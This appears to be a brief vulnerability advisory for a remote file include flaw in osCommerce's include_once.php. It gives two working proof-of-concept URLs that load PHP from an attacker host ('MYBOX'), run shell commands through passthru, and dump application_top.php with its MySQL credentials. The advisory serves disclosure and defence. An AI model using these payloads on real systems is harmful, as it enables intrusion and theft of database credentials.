|
OSCommerce Remote File Include Vulnerability
The following examples were provided: -------- Example 1 -------- http://SERVER/catalog/inludes/include_once.php? include_file=http://MYBOX/a.php --- a.php --- <? passthru("/bin/ls")?> ------------- Output: dir listing of the current dierctory --------------------------- -------- Example 2 -------- http://SERVER/catalog/inludes/include_once.php? include_file=http://MYBOX/b.php --- b.php --- <? passthru("/bin/cat application_top.php")?> ------------- Output: outputs the application_top.php file wich includes MySQL username, password, etc. |
|
|
Privacy Statement |
